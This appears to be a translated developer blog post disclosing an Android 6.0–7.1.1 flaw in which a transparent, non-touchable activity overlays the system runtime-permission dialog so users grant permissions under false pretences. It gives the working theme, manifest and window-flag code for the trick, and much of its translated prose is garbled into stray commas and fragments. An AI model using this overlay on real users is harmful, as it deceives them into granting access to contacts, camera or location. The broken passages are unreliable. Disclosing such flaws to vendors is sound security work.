Olá, meu nome é Vitaly.
Tenho 25 anos, me formei na Universidade Eletrotécnica do Estado de São Petersburgo "LETI" em minha cidade natal. Eu programo há 10 anos, dos quais 4 escrevo para Android. Autor de muitos programas Homebrew, conhecidos como VITTACH, para o Sony PlayStation Portable (PSP) .
Hoje eu gostaria de discutir com você o problema da segurança de aplicativos móveis. Os desenvolvedores do Google estão constantemente melhorando o Android, encontrando e corrigindo vulnerabilidades com a ajuda de uma grande comunidade reunida graças ao programa Android Security Rewards , do qual falaremos mais tarde. No entanto, os problemas ainda persistem e é nossa tarefa comum como comunidade relatá-los para que sejam corrigidos em tempo hábil.
A vulnerabilidade de que falo, pertence à classe com a Prioridade: a P2 e a Gravidade: a S2 , que segundo a tabela em sentido amplo, significa:
Um problema que precisa ser resolvido em um prazo razoável;
Um problema que é importante para uma grande porcentagem de usuários e está relacionado à funcionalidade principal.
Permissão de tempo de execução
O artigo se concentrará em algo conhecido por todos os desenvolvedores como permissão Runtime, ou seja, a possibilidade de enganar o usuário final ao demonstrar a caixa de diálogo de permissão com seu próprio texto e ícone sobre o do sistema. É fácil adivinhar que tal abordagem permitiria aos desenvolvedores pedir permissão ao usuário, digamos, para o sistema de arquivos e, de fato, dar acesso à geolocalização, câmera ou qualquer outra coisa.
É impossível
Uma pergunta semelhante foi feita mais de uma vez em fóruns especializados, em particular no StackOverflow . A única resposta correta era que era impossível. E é verdade: é impossível substituir o texto no próprio diálogo do sistema, mas é possível substituí-lo pelo seu.
O que está sob o capô
Runtime Permission Android 6.0
dangerous-. , . dangerous .
Dangerous permissions
android.permission_group.CALENDAR
android.permission.READ_CALENDAR
android.permission.WRITE_CALENDAR
android.permission_group.CAMERA
android.permission.CAMERA
android.permission_group.CONTACTS
android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.GET_ACCOUNTS
android.permission_group.LOCATION
android.permission.ACCESSFINELOCATION
android.permission.ACCESSCOARSELOCATION
android.permission_group.MICROPHONE
android.permission.RECORD_AUDIO
android.permission_group.PHONE
android.permission.READPHONESTATE
android.permission.CALL_PHONE
android.permission.READCALLLOG
android.permission.WRITECALLLOG
android.permission.ADD_VOICEMAIL
android.permission.USE_SIP
android.permission.PROCESSOUTGOINGCALLS
android.permission_group.SENSORS
android.permission.BODY_SENSORS
android.permission_group.SMS
android.permission.SEND_SMS
android.permission.RECEIVE_SMS
android.permission.READ_SMS
android.permission.RECEIVEWAPPUSH
android.permission.RECEIVE_MMS
android.permission.READCELLBROADCASTS
android.permission_group.STORAGE
android.permission.READEXTERNALSTORAGE
android.permission.WRITEEXTERNALSTORAGE
Android GrantPermissionsActivity, .
ActivityCompat.requestPermissions(
MainActivity.this,
arrayOf(Manifest.permission.READ_CONTACTS),
PERMISSION_REQUEST_CODE
)

Activity, UI , Activity, .
:
Activity android:windowIsTranslucent=true
( Activity , , ) Activity , . Activity Activity .

– Activity , – Activity . Activity, ?

, , , , . , :

Activity , onResume
onPause
. Activity.
, Activity , . – !
,
Kotlin
,
<style name="Theme.Transparent" parent="AppTheme"> <item name="android:windowBackground">@android:color/transparent</item> <item name="android:windowIsTranslucent">true</item> </style>
Activity
... <activity android:name=".PermissionActivity" android:theme="@style/Theme.Transparent">
PermissionActivity layout
onCreate :
window.addFlags( FLAG_NOT_FOCUSABLE or FLAG_NOT_TOUCH_MODAL or FLAG_NOT_TOUCHABLE )
:
FLAG_NOT_FOCUSABLE
: window,FLAG_NOT_FOCUSABLE
, ;
FLAG_NOT_TOUCH_MODAL
: , , , ;
FLAG_NOT_TOUCHABLE
: .
MainActivity
ActivityCompat.requestPermissions( MainActivity.this, arrayOf(Manifest.permission.READ_CONTACTS), REQUEST_CODE )
MainActivity : PermissionActivity.
startActivity(Intent(this, PermissionActivity::class.java))
PermissionActivity Activity . !
Android >= 7.1.1
Runtime Permission Android 6.0
, 7.1.1
, .. Android
.
Android 6.0
, . , Google .

Android Rewards Program
Enviei um aplicativo e anexei todos os documentos explicativos e de demonstração relacionados a esta vulnerabilidade. De momento, o pedido está a ser analisado, pelo que não posso divulgar os detalhes, pois assinei o acordo correspondente.
Como é mais fácil?
Para a conveniência de explorar a vulnerabilidade, escrevi uma biblioteca